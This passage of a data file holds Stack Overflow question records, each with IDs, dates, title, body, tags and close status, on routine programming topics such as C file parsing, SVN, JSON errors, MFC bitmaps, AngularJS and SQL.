Oracle to "hire" Sonatype to handle Hudson? In my mind, there seems to be a missing link somewhere that I cannot find. Thanks! Eric
2
11,504,075
07/16/2012 12:13:14
1,521,069
07/12/2012 14:20:55
25
0
How to call a python file using python script
I have python file .py and I wanted to run through python script.
python
null
null
null
null
07/16/2012 21:27:25
not a real question
How to call a python file using python script === I have python file .py and I wanted to run through python script.
1
8,685,892
12/31/2011 02:28:14
1,123,854
12/31/2011 02:25:38
1
0
Need help to create a social sharing button
can somene please teach me how to add social sharing buttons on my site and give people a reward if they share. If they do share....confirm that they did and send them to the reward??? thank you for help happy holidays
java
social
null
null
null
12/31/2011 03:13:31
not constructive
Need help to create a social sharing button === can somene please teach me how to add social sharing buttons on my site and give people a reward if they share. If they do share....confirm that they did and send them to the reward??? thank you for help happy holidays
4
2,422,820
03/11/2010 05:42:40
291,208
03/11/2010 05:42:40
1
0
What is the difference between the following while using Tortoise SVN
What is the difference between the following while using Tortoise SVN 1. SVN Checkout (in context menu) 2. Export (in context menu) 3. Save as (in Repo Browser) 4. Copy to.. (in Repo Browser) 5. Copy to working copy.. (in Repo Browser)
svn
tortoisesvn
null
null
null
null
open
What is the difference between the following while using Tortoise SVN === What is the difference between the following while using Tortoise SVN 1. SVN Checkout (in context menu) 2. Export (in context menu) 3. Save as (in Repo Browser) 4. Copy to.. (in Repo Browser) 5. Copy to working copy.. (in Repo Browser)
0
6,627,153
07/08/2011 16:00:44
793,384
06/10/2011 20:56:36
1
0
how to make this program reading the values properly
//====================================================== //this is the grading sorting program for part one //====================================================== #include <stdio.h> #include <stdlib.h> #include <string.h> #define SIZE 10 int main() { FILE *ifp; // file pointer, points to the file char filename[32]; // store file name int ID [SIZE],grade[SIZE]; int i; int sum_grades = 0; //opening file by asking the user for the file name /* *printf("Enter the name of the file containing the grades\n"); *scanf("%s",filename); *printf("%s", filename); */ ifp = fopen("grades.txt", "r"); //======================================== // checkes to see if the file is valid //======================================== if (ifp == NULL) { printf("unable to locate file... FILE NOT FOUND\n"); } //============================================================= //read in data into the arrays //this prints out the grades the way they appear in the program //============================================================= printf("=====================\n"); printf("ID Grade\n"); printf("=====================\n"); for(i = 0; i < SIZE; i++) { fscanf(ifp,"%d", &ID[i]); fscanf(ifp,"%d", &grade[i]); printf("%d %d\n", ID[i], grade[i]); if(ID[i]==0 && grade[i]==0) { break; } } //=============================================================== //finding the highest grade and the corresponding ID in the class //=============================================================== int highest = grade[0]; for(i = 1; i< SIZE; i++) { if(grade[i]>highest) { highest = grade[i]; } } printf("Top grade: %d by student with ID 3050\n", highest); //================================================================ // calculating the mean grade //================================================================ int mean = grade[0]; for( i = 0; i < SIZE; i++) { if(ID[i]==0 && grade[i]==0) sum_grades += grade[i]; } printf("sum is %d\n", sum_grades); fclose(ifp); return 0; } its a program designed to print out the student's ID's and grades as they appear in the file, print the highest grade, the mean value and print the student's ID's in increasing order INPUT FILE ------------ 3050 76 2030 60 1600 70 2222 50 2430 60 2800 50 0 0 Ball Adam 70 Arnold Joshua 67 Scot Michael 80 Cook Bret 55 Davis Ronald 62 Fox Brian 87 Singh Jaadu 91 Hudson Jeff 45 xxx xxx 0 Fox Brian Jessi Mala ------------------- 1st part of the program its supposed to stop at the value ("0 0"). so it should print 3050 76 2030 60 1600 70 2222 50 2430 60 2800 50 but ("0 0") is being included, which affects my mean value as well. also how how do u implement the sorting algorithm for printing the ID's in increasing order which correspond to the grades help would be appreciated
c
null
null
null
null
11/15/2011 11:06:26
too localized
how to make this program reading the values properly === //====================================================== //this is the grading sorting program for part one //====================================================== #include <stdio.h> #include <stdlib.h> #include <string.h> #define SIZE 10 int main() { FILE *ifp; // file pointer, points to the file char filename[32]; // store file name int ID [SIZE],grade[SIZE]; int i; int sum_grades = 0; //opening file by asking the user for the file name /* *printf("Enter the name of the file containing the grades\n"); *scanf("%s",filename); *printf("%s", filename); */ ifp = fopen("grades.txt", "r"); //======================================== // checkes to see if the file is valid //======================================== if (ifp == NULL) { printf("unable to locate file... FILE NOT FOUND\n"); } //============================================================= //read in data into the arrays //this prints out the grades the way they appear in the program //============================================================= printf("=====================\n"); printf("ID Grade\n"); printf("=====================\n"); for(i = 0; i < SIZE; i++) { fscanf(ifp,"%d", &ID[i]); fscanf(ifp,"%d", &grade[i]); printf("%d %d\n", ID[i], grade[i]); if(ID[i]==0 && grade[i]==0) { break; } } //=============================================================== //finding the highest grade and the corresponding ID in the class //=============================================================== int highest = grade[0]; for(i = 1; i< SIZE; i++) { if(grade[i]>highest) { highest = grade[i]; } } printf("Top grade: %d by student with ID 3050\n", highest); //================================================================ // calculating the mean grade //================================================================ int mean = grade[0]; for( i = 0; i < SIZE; i++) { if(ID[i]==0 && grade[i]==0) sum_grades += grade[i]; } printf("sum is %d\n", sum_grades); fclose(ifp); return 0; } its a program designed to print out the student's ID's and grades as they appear in the file, print the highest grade, the mean value and print the student's ID's in increasing order INPUT FILE ------------ 3050 76 2030 60 1600 70 2222 50 2430 60 2800 50 0 0 Ball Adam 70 Arnold Joshua 67 Scot Michael 80 Cook Bret 55 Davis Ronald 62 Fox Brian 87 Singh Jaadu 91 Hudson Jeff 45 xxx xxx 0 Fox Brian Jessi Mala ------------------- 1st part of the program its supposed to stop at the value ("0 0"). so it should print 3050 76 2030 60 1600 70 2222 50 2430 60 2800 50 but ("0 0") is being included, which affects my mean value as well. also how how do u implement the sorting algorithm for printing the ID's in increasing order which correspond to the grades help would be appreciated
3
6,633,752
07/09/2011 08:48:43
793,894
06/11/2011 11:19:44
20
0
How to set the Size of Andriod Glaxay Tab Emulator?
I ahve found the problem of access size of galaxy Tab emulator that's why some of its button are hide of me so I am enable to run my application b'coz i am enable to see the button of it.....
android
null
null
null
null
07/09/2011 18:17:15
not a real question
How to set the Size of Andriod Glaxay Tab Emulator? === I ahve found the problem of access size of galaxy Tab emulator that's why some of its button are hide of me so I am enable to run my application b'coz i am enable to see the button of it.....
1
4,042,365
10/28/2010 11:22:21
372,035
06/21/2010 09:47:27
63
1
MVVM pros and queens?
Which are MVVM pattern pros and queens?
c#
design-patterns
mvvm
null
null
10/28/2010 11:33:27
not constructive
MVVM pros and queens? === Which are MVVM pattern pros and queens?
4
7,229,735
08/29/2011 11:56:31
594,845
01/29/2011 09:54:36
70
1
Resoures For Java EE 6
I want to learn Java EE 6. I am new to the entire EE thing but i am proficient with Core java. Can some one suggest a good book to learn this? I checked out amazon and oracle's website but i have got mixed reviews on them
java
java-ee
java-ee-6
null
null
08/29/2011 16:31:45
not constructive
Resoures For Java EE 6 === I want to learn Java EE 6. I am new to the entire EE thing but i am proficient with Core java. Can some one suggest a good book to learn this? I checked out amazon and oracle's website but i have got mixed reviews on them
4
4,321,901
12/01/2010 06:50:19
526,172
12/01/2010 06:50:19
1
0
How to get src of from image
I have a text box with its value as &lt;img src="http://localhost/wp/review/wp-content/uploads/2010/11/Sunset.jpg" /&gt; I have to replace this text box value to 'http://localhost/wp/review/wp-content/uploads/2010/11/Sunset.jpg' That is the main target is to remove img tag and keep only the src value. Thanks Ashok Negi
image
src
null
null
null
null
open
How to get src of from image === I have a text box with its value as &lt;img src="http://localhost/wp/review/wp-content/uploads/2010/11/Sunset.jpg" /&gt; I have to replace this text box value to 'http://localhost/wp/review/wp-content/uploads/2010/11/Sunset.jpg' That is the main target is to remove img tag and keep only the src value. Thanks Ashok Negi
0
11,400,040
07/09/2012 17:25:54
248,674
01/12/2010 07:06:20
135
5
Requesting suggestions for an audio processing project in linux
I have been an avid user for dfx sound processing widget on windows for quit a while, since i switched to ubuntu I am missing that. So I plan to create a sound processing widget for ubuntu. Idea : A small widget may run in the taskbar, on click it would show a small window with some settings. Any sound coming from any application may be tweaked using this. Requirement : 1. Please suggest resources for any c++ library for sound processing(My pick is openal) 2. Please suggest resources for creating gui in ubuntu. 3. Any other suggestions , if you have :)
c++
linux
audio-processing
null
null
07/09/2012 17:27:02
not constructive
Requesting suggestions for an audio processing project in linux === I have been an avid user for dfx sound processing widget on windows for quit a while, since i switched to ubuntu I am missing that. So I plan to create a sound processing widget for ubuntu. Idea : A small widget may run in the taskbar, on click it would show a small window with some settings. Any sound coming from any application may be tweaked using this. Requirement : 1. Please suggest resources for any c++ library for sound processing(My pick is openal) 2. Please suggest resources for creating gui in ubuntu. 3. Any other suggestions , if you have :)
4
3,231,127
07/12/2010 18:30:01
389,749
07/12/2010 18:30:01
1
0
how do you test a calculator?
How will you test a calculator? Any thoughts? thanks,
testing
interview-questions
null
null
null
07/12/2010 23:50:36
not a real question
how do you test a calculator? === How will you test a calculator? Any thoughts? thanks,
1
11,601,212
07/22/2012 14:43:16
579,344
01/18/2011 02:36:01
132
5
Better alternative for msdn documentation?
Is there any better documentation .NET? Better formatted that is. Is there no alternative site with better formatting? E.g. have look at System.DateTime: http://msdn.microsoft.com/en-us/library/system.datetime.aspx Scrolling down to the Compare-method it doesn't say what parameters it takes, and what type it returns. However, for CompareTo(DateTime) it includes the type of the parameter (but still not the name!). Is there any better summary of classes? E.g. I find javadoc handles this much better.
c#
documentation
msdn
null
null
07/22/2012 15:21:57
not a real question
Better alternative for msdn documentation? === Is there any better documentation .NET? Better formatted that is. Is there no alternative site with better formatting? E.g. have look at System.DateTime: http://msdn.microsoft.com/en-us/library/system.datetime.aspx Scrolling down to the Compare-method it doesn't say what parameters it takes, and what type it returns. However, for CompareTo(DateTime) it includes the type of the parameter (but still not the name!). Is there any better summary of classes? E.g. I find javadoc handles this much better.
1
8,210,481
11/21/2011 10:40:15
1,004,437
02/19/2011 07:06:59
727
17
How Can i remove New Android Market Update From Device?
Here Before Few Months Ago i got update of Android Market But its really very bad update and Very slow in GPRS. so i want to Uninstall this update permanently. I try one way go to manage applications and than Market and Uninstall update but its temporary after some time its update automatically. itried another way this one 1. with phone turned on normally (in Redux 1.2) and Market v3.1.5 uninstalled and rolled back to Market v2.3.3 and Force Closed 2. enable USB Debugging 3. disable Fastboot (apparently already disabled even though I can't a toggle anywhere) 4. connect via USB cable 5. place in "Charge Only" mode (again is apparently already on charge mode until I enable USB storage) 6. from computer go to Start, type "cmd". I have set up my ADB pre-rooting 7. "adb devices" <enter> and my device serial number appears 8. "adb shell <enter> 9. now I get a "#" sign (which reflects my superuser status; if not I would have gotten a $ sign) 10. type "pm disable com.android.vending.updater" <enter> 11. close cmd window 12. unplug phone 13. turn off phone 14. turn on phone But its Give me error like this rename(/data/anr/traces.txt, /data/anr/traces.txt.anr): Permission denied Unable to chmod /data/log/ar6k.log: Operation not permitted [1] Killed pm disable com.android.vending.updater So i want to Remove this New update of Market from my Android Samsung Galaxy 2.3.3 permanent. Suggest me way to do this. Thanks
android
null
null
null
null
11/21/2011 23:50:07
off topic
How Can i remove New Android Market Update From Device? === Here Before Few Months Ago i got update of Android Market But its really very bad update and Very slow in GPRS. so i want to Uninstall this update permanently. I try one way go to manage applications and than Market and Uninstall update but its temporary after some time its update automatically. itried another way this one 1. with phone turned on normally (in Redux 1.2) and Market v3.1.5 uninstalled and rolled back to Market v2.3.3 and Force Closed 2. enable USB Debugging 3. disable Fastboot (apparently already disabled even though I can't a toggle anywhere) 4. connect via USB cable 5. place in "Charge Only" mode (again is apparently already on charge mode until I enable USB storage) 6. from computer go to Start, type "cmd". I have set up my ADB pre-rooting 7. "adb devices" <enter> and my device serial number appears 8. "adb shell <enter> 9. now I get a "#" sign (which reflects my superuser status; if not I would have gotten a $ sign) 10. type "pm disable com.android.vending.updater" <enter> 11. close cmd window 12. unplug phone 13. turn off phone 14. turn on phone But its Give me error like this rename(/data/anr/traces.txt, /data/anr/traces.txt.anr): Permission denied Unable to chmod /data/log/ar6k.log: Operation not permitted [1] Killed pm disable com.android.vending.updater So i want to Remove this New update of Market from my Android Samsung Galaxy 2.3.3 permanent. Suggest me way to do this. Thanks
2
4,171,006
11/13/2010 04:40:37
506,489
11/13/2010 04:40:37
1
0
Books for learning XML Vulnerabilities
Please suggest books for XML Vulnerabilities in the web services world which explain XXE, XXR attacks Thanks.
xml
null
null
null
null
09/24/2011 17:00:05
not constructive
Books for learning XML Vulnerabilities === Please suggest books for XML Vulnerabilities in the web services world which explain XXE, XXR attacks Thanks.
4
7,299,951
09/04/2011 14:46:08
878,741
08/04/2011 14:02:33
35
0
Jerky mose movement on BorderContainer
It seem when I trying to drag the bordercontainer to move along x-axis position on mouse down. It appear to move stable but became jerky when I drag a little faster. Any way to get bordercontainer move with smooth motion? private function mDownHandler(event:MouseEvent):void { gMouseX = event.localX; borderCntr.addEventListener(MouseEvent.MOUSE_MOVE, mMoveHandler); } private function mMoveHandler(event:MouseEvent):void { borderCntr.x = int(event.localX)-gMouseX; }
flex
actionscript-3
air
null
null
null
open
Jerky mose movement on BorderContainer === It seem when I trying to drag the bordercontainer to move along x-axis position on mouse down. It appear to move stable but became jerky when I drag a little faster. Any way to get bordercontainer move with smooth motion? private function mDownHandler(event:MouseEvent):void { gMouseX = event.localX; borderCntr.addEventListener(MouseEvent.MOUSE_MOVE, mMoveHandler); } private function mMoveHandler(event:MouseEvent):void { borderCntr.x = int(event.localX)-gMouseX; }
0
4,288,203
11/26/2010 19:55:40
521,746
11/26/2010 19:50:51
1
0
what is the best web framework?
i'm starting in the web world, and i want to know which can be the best web framework to start? Thanks in advance.
web
webframework
null
null
null
11/26/2010 20:02:16
not a real question
what is the best web framework? === i'm starting in the web world, and i want to know which can be the best web framework to start? Thanks in advance.
1
2,332,290
02/25/2010 07:12:03
260,481
01/27/2010 22:06:19
1
0
Why are these floats wrapping in Internet Explorer?
My website, ReadyMadeWeb.com, looks great in FireFox, Safari, and Chrome, but of course IE has different plans for the floats used the in the #content area. You can see what I mean if you view the site in IE. The main column is pushed below the first sidebar. The content boxes and the de.licio.us sidebar both sit within another div. I have looked at overflow and clear settings, but changing those has not helped. Any ideas?
internet
internet-explorer
div-layouts
float
css
05/18/2012 03:14:36
too localized
Why are these floats wrapping in Internet Explorer? === My website, ReadyMadeWeb.com, looks great in FireFox, Safari, and Chrome, but of course IE has different plans for the floats used the in the #content area. You can see what I mean if you view the site in IE. The main column is pushed below the first sidebar. The content boxes and the de.licio.us sidebar both sit within another div. I have looked at overflow and clear settings, but changing those has not helped. Any ideas?
3
9,504,943
02/29/2012 18:54:33
1,240,981
02/29/2012 18:47:47
1
0
MSDN Windows 8 beta disk not bootable
So I downloaded the Windows 8 beta today and need to install it on VMWare 8 as a virtual machine for testing. However, the ISO image from MSDN is not bootable. How do I fix this?
windows
null
null
null
null
02/29/2012 20:51:45
off topic
MSDN Windows 8 beta disk not bootable === So I downloaded the Windows 8 beta today and need to install it on VMWare 8 as a virtual machine for testing. However, the ISO image from MSDN is not bootable. How do I fix this?
2
7,545,954
09/25/2011 13:59:07
838,774
07/11/2011 11:31:07
141
1
AcceptButton doesn't work in case there are TabControl on the form
In the following form, I want the `AcceptButton` to be **OK** button, but although I set the property to the Form that OK button is the accept button, the actual result is Test button. How to fix it? ![enter image description here][1] [1]: http://i.stack.imgur.com/xEGmz.png
c#
winforms
acceptbutton
null
null
null
open
AcceptButton doesn't work in case there are TabControl on the form === In the following form, I want the `AcceptButton` to be **OK** button, but although I set the property to the Form that OK button is the accept button, the actual result is Test button. How to fix it? ![enter image description here][1] [1]: http://i.stack.imgur.com/xEGmz.png
0
8,369,534
12/03/2011 17:32:40
953,273
09/19/2011 18:08:03
16
2
Follow in compilers
Follow set in compiler are defined for single non terminals only, why follow is not for terminals ?? I actually do not understand what follow defines.
parsing
compiler
null
null
null
12/04/2011 09:05:12
not a real question
Follow in compilers === Follow set in compiler are defined for single non terminals only, why follow is not for terminals ?? I actually do not understand what follow defines.
1
8,600,183
12/22/2011 06:30:21
455,866
09/23/2010 06:53:03
1
1
Any idea how to make a slider similar to this one?
I have been trying to replicate this slider using jQuery Cycle:- http://www.ibm.com/au/en/ I don't care about the thumbs, I just want to achieve same effect.
jquery
slider
cycle
null
null
12/23/2011 13:30:06
not a real question
Any idea how to make a slider similar to this one? === I have been trying to replicate this slider using jQuery Cycle:- http://www.ibm.com/au/en/ I don't care about the thumbs, I just want to achieve same effect.
1
8,007,821
11/04/2011 10:24:14
688,412
04/01/2011 23:10:33
129
4
sql - single query to return values that are not present
For example, you have a simple table with just one column. ie. CREATE TABLE movies (title VARCHAR2(255 BYTE)) set up with the following data: INSERT INTO movies (title) VALUES ('Scream'); INSERT INTO movies (title) VALUES ('Blair Witch'); INSERT INTO movies (title) VALUES ('Friday the 13th'); INSERT INTO movies (title) VALUES ('Scary Movie'); INSERT INTO movies (title) VALUES ('Hide and Seek'); INSERT INTO movies (title) VALUES ('Alien vs Predator'); Is there a single query or PL/SQL that will do the following dynamically (ie without having to manually do a "UNION select 'scream' from dual..." for every value)? Obviously this query is wrong but you get the idea: Select * from movies where title in ( 'Scream', 'Scary Movie', 'Exorcist', 'Dracula', 'Saw', 'Hide and Seek' ) Desired result being a record for every value in the "WHERE TITLE IN" clause where the record is not present in the table. ie. 'Exorcist' 'Dracula' 'Saw'
sql
database
oracle
query
plsql
null
open
sql - single query to return values that are not present === For example, you have a simple table with just one column. ie. CREATE TABLE movies (title VARCHAR2(255 BYTE)) set up with the following data: INSERT INTO movies (title) VALUES ('Scream'); INSERT INTO movies (title) VALUES ('Blair Witch'); INSERT INTO movies (title) VALUES ('Friday the 13th'); INSERT INTO movies (title) VALUES ('Scary Movie'); INSERT INTO movies (title) VALUES ('Hide and Seek'); INSERT INTO movies (title) VALUES ('Alien vs Predator'); Is there a single query or PL/SQL that will do the following dynamically (ie without having to manually do a "UNION select 'scream' from dual..." for every value)? Obviously this query is wrong but you get the idea: Select * from movies where title in ( 'Scream', 'Scary Movie', 'Exorcist', 'Dracula', 'Saw', 'Hide and Seek' ) Desired result being a record for every value in the "WHERE TITLE IN" clause where the record is not present in the table. ie. 'Exorcist' 'Dracula' 'Saw'
0
1,549,292
10/10/2009 22:43:32
104,304
05/10/2009 10:26:12
63
5
Help with JSON format
I'm using a JSON example off the web, as seen below. { "menu": "File", "commands": [ { "title": "New", "action":"CreateDoc" }, { "title": "Open", "action": "OpenDoc" }, { "title": "Close", "action": "CloseDoc" } ] } I've tried loading this in two different parsers, one in C++ and in Python. Here's Python's traceback. Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib/python2.6/json/__init__.py", line 267, in load parse_constant=parse_constant, **kw) File "/usr/lib/python2.6/json/__init__.py", line 307, in loads return _default_decoder.decode(s) File "/usr/lib/python2.6/json/decoder.py", line 319, in decode obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "/usr/lib/python2.6/json/decoder.py", line 338, in raw_decode raise ValueError("No JSON object could be decoded") ValueError: No JSON object could be decoded And here's what jsoncpp reports. * Line 1, Column 1 Syntax error: value, object or array expected. Any clue what I'm doing wrong?
python
c++
json
json-decode
null
09/26/2011 14:48:38
too localized
Help with JSON format === I'm using a JSON example off the web, as seen below. { "menu": "File", "commands": [ { "title": "New", "action":"CreateDoc" }, { "title": "Open", "action": "OpenDoc" }, { "title": "Close", "action": "CloseDoc" } ] } I've tried loading this in two different parsers, one in C++ and in Python. Here's Python's traceback. Traceback (most recent call last): File "<stdin>", line 1, in <module> File "/usr/lib/python2.6/json/__init__.py", line 267, in load parse_constant=parse_constant, **kw) File "/usr/lib/python2.6/json/__init__.py", line 307, in loads return _default_decoder.decode(s) File "/usr/lib/python2.6/json/decoder.py", line 319, in decode obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "/usr/lib/python2.6/json/decoder.py", line 338, in raw_decode raise ValueError("No JSON object could be decoded") ValueError: No JSON object could be decoded And here's what jsoncpp reports. * Line 1, Column 1 Syntax error: value, object or array expected. Any clue what I'm doing wrong?
3
10,124,407
04/12/2012 13:17:56
755,512
05/16/2011 10:56:06
1
0
Looking for a good cross-platform C++ framework
I'm looking for a good C++ framework (not only for UI). Actually I'm undecided between these: - POCO libraries (http://pocoproject.org/); - JUCE (http://www.rawmaterialsoftware.com/juce.php); - openFramework (http://www.openframeworks.cc/); plus, of course, wxWidget. Has anyone some experience on them? Regards, Daniele
c++
frameworks
null
null
null
04/12/2012 13:26:19
not constructive
Looking for a good cross-platform C++ framework === I'm looking for a good C++ framework (not only for UI). Actually I'm undecided between these: - POCO libraries (http://pocoproject.org/); - JUCE (http://www.rawmaterialsoftware.com/juce.php); - openFramework (http://www.openframeworks.cc/); plus, of course, wxWidget. Has anyone some experience on them? Regards, Daniele
4
7,948,823
10/31/2011 00:05:25
286,579
03/04/2010 20:02:57
392
1
java vs C++ for natural language processing
Could you please let me know which one is better to learn amongst Java and C++ for natural language processing with respect to library,support etc. Best, Thetna
java
c++
nlp
null
null
10/31/2011 00:18:39
not constructive
java vs C++ for natural language processing === Could you please let me know which one is better to learn amongst Java and C++ for natural language processing with respect to library,support etc. Best, Thetna
4
6,325,699
06/13/2011 00:37:43
675,100
03/24/2011 14:44:22
29
0
How to save to a bitmap in MFC C++ application ?
I am just starting with MFC so please be tolerant ;). I have wrote (it was mostly generated to be honest) a simple application which should do the Paint chores: drawing lines, rectangulars, ellipses, changing a color of object to be drawn etc. I need to save what has been drawn on the screen into a bmp file. Any ideas how can I achieve this ? I do not know if that's relevant but I am drawing objects on the screen without the use of any CBitmaps or things like that. Here is a part of code responsible for drawing : CPaintDoc* pDoc = GetDocument(); ASSERT_VALID(pDoc); Anchor.x=point.x; Anchor.y=point.y; OldPoint.x=Anchor.x; OldPoint.y=Anchor.y; if(pDoc->shapeCount>=MAX_SHAPES) return; pDoc->shapeCount++; if(bFreehand) { pDoc->m_shape[pDoc->shapeCount-1] = new Shape; pDoc->m_shape[pDoc->shapeCount-1]->shape = ePoint; } if(bLine) { pDoc->m_shape[pDoc->shapeCount-1] = new CLine; pDoc->m_shape[pDoc->shapeCount-1]->shape = eLine; } if(bRectangle) { pDoc->m_shape[pDoc->shapeCount-1] = new CRectangle; pDoc->m_shape[pDoc->shapeCount-1]->shape = eRectangle; } if(bEllipse) { pDoc->m_shape[pDoc->shapeCount-1] = new CEllipse; pDoc->m_shape[pDoc->shapeCount-1]->shape=eEllipse; } pDoc->m_shape[pDoc->shapeCount-1]->x=point.x; pDoc->m_shape[pDoc->shapeCount-1]->y=point.y; pDoc->m_shape[pDoc->shapeCount-1]->x2=point.x; pDoc->m_shape[pDoc->shapeCount-1]->y2=point.y; pDoc->m_shape[pDoc->shapeCount-1]->Pen=CurrentPen; pDoc->m_shape[pDoc->shapeCount-1]->Brush=CurrentBrush; bButtonDown=true; SetCapture(); I have found this way to do it but I don't know how to obtain screen width and height to fill it in the CreateBitmap parameter's list CBitmap *bitmap; bitmap.CreateBitmap(desktopW, desktopH, 1, 32, rgbData); CImage image; image.Attach(bitmap); image.Save(_T("C:\\test.bmp"), Gdiplus::ImageFormatBMP);
c++
mfc
bmp
null
null
null
open
How to save to a bitmap in MFC C++ application ? === I am just starting with MFC so please be tolerant ;). I have wrote (it was mostly generated to be honest) a simple application which should do the Paint chores: drawing lines, rectangulars, ellipses, changing a color of object to be drawn etc. I need to save what has been drawn on the screen into a bmp file. Any ideas how can I achieve this ? I do not know if that's relevant but I am drawing objects on the screen without the use of any CBitmaps or things like that. Here is a part of code responsible for drawing : CPaintDoc* pDoc = GetDocument(); ASSERT_VALID(pDoc); Anchor.x=point.x; Anchor.y=point.y; OldPoint.x=Anchor.x; OldPoint.y=Anchor.y; if(pDoc->shapeCount>=MAX_SHAPES) return; pDoc->shapeCount++; if(bFreehand) { pDoc->m_shape[pDoc->shapeCount-1] = new Shape; pDoc->m_shape[pDoc->shapeCount-1]->shape = ePoint; } if(bLine) { pDoc->m_shape[pDoc->shapeCount-1] = new CLine; pDoc->m_shape[pDoc->shapeCount-1]->shape = eLine; } if(bRectangle) { pDoc->m_shape[pDoc->shapeCount-1] = new CRectangle; pDoc->m_shape[pDoc->shapeCount-1]->shape = eRectangle; } if(bEllipse) { pDoc->m_shape[pDoc->shapeCount-1] = new CEllipse; pDoc->m_shape[pDoc->shapeCount-1]->shape=eEllipse; } pDoc->m_shape[pDoc->shapeCount-1]->x=point.x; pDoc->m_shape[pDoc->shapeCount-1]->y=point.y; pDoc->m_shape[pDoc->shapeCount-1]->x2=point.x; pDoc->m_shape[pDoc->shapeCount-1]->y2=point.y; pDoc->m_shape[pDoc->shapeCount-1]->Pen=CurrentPen; pDoc->m_shape[pDoc->shapeCount-1]->Brush=CurrentBrush; bButtonDown=true; SetCapture(); I have found this way to do it but I don't know how to obtain screen width and height to fill it in the CreateBitmap parameter's list CBitmap *bitmap; bitmap.CreateBitmap(desktopW, desktopH, 1, 32, rgbData); CImage image; image.Attach(bitmap); image.Save(_T("C:\\test.bmp"), Gdiplus::ImageFormatBMP);
0
8,108,749
11/13/2011 00:52:31
1,043,733
11/13/2011 00:43:56
1
0
Reverse Engineer A Check Sum Calculation Algorithm
I have a large sample of identifiers consisting of 1 number or 1 letter (month number 1-9,A,B,C), 2 numbers (month day), 4 digits and then finally an alphabetic check character (excluding I and O) - I need to be able to reproduce this check character for any given identifier. I am fairly certain this will be a custom/proprietary algorithm given the lack of I and O for easy readability however how would go about trying to reverse engineer it given the large sample of identifiers I have? For example: A070511 = B B070511 = D B070567 = N B080567 = R
algorithm
checksum
check-digit
null
null
11/13/2011 00:59:39
too localized
Reverse Engineer A Check Sum Calculation Algorithm === I have a large sample of identifiers consisting of 1 number or 1 letter (month number 1-9,A,B,C), 2 numbers (month day), 4 digits and then finally an alphabetic check character (excluding I and O) - I need to be able to reproduce this check character for any given identifier. I am fairly certain this will be a custom/proprietary algorithm given the lack of I and O for easy readability however how would go about trying to reverse engineer it given the large sample of identifiers I have? For example: A070511 = B B070511 = D B070567 = N B080567 = R
3
3,238,904
07/13/2010 15:50:16
362,476
06/09/2010 13:31:39
37
1
Android releasing and app into the market hmm
I am nearly done with my first android app and there's still a bit more work to do but I want to get feedback from users about what they like/hate/bugs to fix, etc. I plan on making the app free with ads. Now I have been testing my app on my phone (HTC Magic) and plan on doing some simple testing on the emulator using different configurations. Would it be a good idea to release the app as being beta as it is now? And then fix up any issues and implement the full features I want in it later on and re-release it? I don't want the beta ratings to hurt the final version so would I'm guessing I simply release it as a new app instead of an update to the beta? Also If I was to release the beta should I be releasing it with or without ads? I would love to hear your experience with your apps! Thanks
android
release
beta
market
null
null
open
Android releasing and app into the market hmm === I am nearly done with my first android app and there's still a bit more work to do but I want to get feedback from users about what they like/hate/bugs to fix, etc. I plan on making the app free with ads. Now I have been testing my app on my phone (HTC Magic) and plan on doing some simple testing on the emulator using different configurations. Would it be a good idea to release the app as being beta as it is now? And then fix up any issues and implement the full features I want in it later on and re-release it? I don't want the beta ratings to hurt the final version so would I'm guessing I simply release it as a new app instead of an update to the beta? Also If I was to release the beta should I be releasing it with or without ads? I would love to hear your experience with your apps! Thanks
0
10,479,346
05/07/2012 09:02:00
400,960
07/24/2010 09:14:51
11
0
looking for tool to analysis excel reports quickly?
Is there any tool to analysis excel reports quickly such as showing trends, mass changes and predefined filters and so on
excel
reporting-services
report
reporting
null
05/07/2012 11:56:19
off topic
looking for tool to analysis excel reports quickly? === Is there any tool to analysis excel reports quickly such as showing trends, mass changes and predefined filters and so on
2
11,251,756
06/28/2012 19:42:09
129,805
06/27/2009 11:51:28
1,975
22
How do I make a AJAX nested list, in AngularJS?
I've made a list who's content is loaded via AJAX, and it works as intended. I'd now like to make each list entry load (via AJAX) and display a sublist, when clicked upon. Is this possible in AngularJS? (I'm new to AngularJs and am more than a little confused over $scope.) <div ng-controller="StockGroupCtrl"> <ul> <li ng-repeat="group in groups"> <span>{{group.prod_grp}}</span> <span>{{group.desc}}</span> <!-- something like <ul ng-controller="WhatShouldItBe?"> <li ng-repeat="item in items"> <span>{{item.name}}</span> <span>{{item.price}}</span> </li> </ul> --> </li> </li> </div> I've made the outer code work with: function StockGroupCtrl($scope, $http) { $scope.groups = []; $scope.handleGroupsLoaded = function(data, status) { $scope.groups = data; } $scope.fetch = function() { $http.get('/api/stock/groups/').success($scope.handleGroupsLoaded); } $scope.fetch(); } but I can't really see where to start with the inner lists.
ajax
angularjs
angular
null
null
null
open
How do I make a AJAX nested list, in AngularJS? === I've made a list who's content is loaded via AJAX, and it works as intended. I'd now like to make each list entry load (via AJAX) and display a sublist, when clicked upon. Is this possible in AngularJS? (I'm new to AngularJs and am more than a little confused over $scope.) <div ng-controller="StockGroupCtrl"> <ul> <li ng-repeat="group in groups"> <span>{{group.prod_grp}}</span> <span>{{group.desc}}</span> <!-- something like <ul ng-controller="WhatShouldItBe?"> <li ng-repeat="item in items"> <span>{{item.name}}</span> <span>{{item.price}}</span> </li> </ul> --> </li> </li> </div> I've made the outer code work with: function StockGroupCtrl($scope, $http) { $scope.groups = []; $scope.handleGroupsLoaded = function(data, status) { $scope.groups = data; } $scope.fetch = function() { $http.get('/api/stock/groups/').success($scope.handleGroupsLoaded); } $scope.fetch(); } but I can't really see where to start with the inner lists.
0
10,302,136
04/24/2012 16:34:49
950,840
09/18/2011 02:27:22
108
1
Which book to work through next The Pickaxe or Everday Scripting With Ruby?
I just worked through Chris Pine's book and am following this http://techiferous.com/2010/07/roadmap-for-learning-rails/ Which book would be a better slightly more advanced book on Ruby to go through The Pickaxe or Everday Scripting? Eventually I plan on doing both, just wondering which is easier as a good progression into Ruby. Thanks!
ruby
null
null
null
null
04/26/2012 09:11:44
not constructive
Which book to work through next The Pickaxe or Everday Scripting With Ruby? === I just worked through Chris Pine's book and am following this http://techiferous.com/2010/07/roadmap-for-learning-rails/ Which book would be a better slightly more advanced book on Ruby to go through The Pickaxe or Everday Scripting? Eventually I plan on doing both, just wondering which is easier as a good progression into Ruby. Thanks!
4
2,199,567
02/04/2010 12:24:49
118,040
06/05/2009 14:21:31
1
0
